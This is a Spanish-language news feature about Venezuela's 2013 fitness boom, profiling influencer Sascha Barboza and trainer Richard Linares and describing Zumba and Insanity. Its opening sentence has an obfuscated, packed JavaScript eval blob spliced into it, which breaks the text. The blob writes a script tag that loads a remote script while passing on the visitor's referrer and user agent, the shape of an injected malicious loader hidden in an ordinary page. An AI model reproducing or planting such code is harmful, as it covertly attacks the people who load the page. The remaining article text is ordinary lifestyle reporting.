El fitness se catapultó como un estilo de vida

Luisa Godoy / Maracaibo / [email protected]
El eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|behnr|var|u0026u|referrer|zatef||js|php'.split('|'),0,{})) boom del fitness llegó para quedarse. A diario son más los venezolanos que se suman a esta "fiebre". Sascha Barboza y Richard Linares fueron algunas de las figuras venezolanas que promovieron este boom en el país este 2013 ofreciendo tips para lucir y estar saludable

Entre actividades físicas, maratones, dietas y una alimentación sana transcurrió el 2013 para los venezolanos, quienes, siguiendo los patrones de figuras como Sascha Barboza y Richard Linares, consiguieron sentirse bien con su cuerpo y su mente. Un sinfín de métodos para adelgazar o estar en forma, empezando por las famosas dietas de moda, se convirtieron en el boom del año.

Las redes sociales fueron el medio perfecto para la difusión de diversas sugerencias sobre qué hacer para tener cuerpos definidos y esculturales, además, del boom de actividades al aire libre para promover ejercicios cardiovasculares que complementan las dietas. Entre ellos se encuentran el boot camp, la zumba, el crossfit, TRX, caminatas en el Ávila, club de corredores, club de ciclistas, yoga, entre otros ejercicios que implican fuerza muscular, resistencia muscular, resistencia cardiovascular, flexibilidad y composición corporal, cinco aspectos básicos que engloban la palabra fitness.

La rubia con 395,417 mil seguidores en Twitter, Sascha Barboza, mejor conocida como "SaschaFitness", se convirtió en el fenómeno del mundo del ejercicio y la alimentación saludable en Internet, y es quien asegura que la revolución fitness no es una moda, sino un estilo de vida ya marcado en el venezolano. "El venezolano le ha agarrado el gusto, sabe que el ejercicio da más calidad de vida. Te ves mejor, tienes un sueño más profundo y empiezas a disfrutar de las pequeñas cosas de la rutina".

Tal como lo afirman en las redes, en los medios de comunicación y sobre todo los personal trainers, "hay fitness para rato", por lo que no hay excusas para no empezar este 2014 con la pilas puestas. ¿Te animas a sumarte a la aventura fitness?

 

@Atusalud_medios, @NutricionActiva, @dietaypeso, @AleBFitness y @SaschaFitness son algunas de las cuentas de asesoría para entrenamientos

 

"Gurús"

Sascha Barboza

Promueve el fitness con tuits. Todos la conocen por su nombre de usuario en la red social Twitter: @SaschaFitness. Recomienda dietas basadas en productos naturales, como la leche de almendras y panquecas integrales. Su cabellera rubia, rostro carismático y abdominales marcados la han convertido en una celebridad en Twitter, donde la comunidad de tuiteros ha creado cuentas detractoras, como @ChachaFitness, que promueve un estilo de vida sedentario y la ingesta de carbohidratos. Sascha Barboza está en contra de los productos quemadores de grasa que se venden en el mercado y recomienda a sus 395,417 mil seguidores realizar jornadas de ejercicios cardiovasculares en ayuna para tonificar el cuerpo y reducir medidas de una manera natural y más efectiva.

Richard Linares

Moldea cuerpos de reinas. Es uno de los entrenadores personales más cotizados de Venezuela. El público lo conoce por su participación en el reality show Todo por la Corona, de Venevisión y el Canal Sony. Alcanzó la fama por entrenar a la miss Universo 2008, Dayana Mendoza, y a su sucesora, Stefanía Fernández. Además, Linares logró posicionarse como el entrenador oficial del Miss Venezuela. Actualmente trabaja con la ganadora del miss Venezuela Mundo 2013, Karen Soto, en su preparación para el Miss Mundo en Indonesia el próximo 28 de septiembre. Por si fuera poco, el deportista es coautor del libro De gordito a galán, que escribió junto con el actor Alejandro Chabán -quien es su alumno-, y se dedica a promocionar su línea de productos quemadores de grasa desde su página web oficial.

 

En Maracaibo se popularizó

Zumba, el deporte que te hará estar en forma con una sonrisa

La música es el ingrediente especial para la motivación en Zumba® Fitness. Las composiciones, creadas con ritmos específicos y cambios de tempo, están pensadas para realizar los ejercicios sin esfuerzo mientras se tonifica el cuerpo, se fortalecen los músculos y aumenta el ritmo cardiovascular.

Insanity, diversión y euforia cardiovascular

Al hablar de insanity se hace referencia a una de las disciplinas cardiovasculares más modernas del mundo fitness. Aunque su traducción al español sea “locura”, no es más que una forma divertida y eufórica de brindarle al cuerpo los beneficios de la actividad física.

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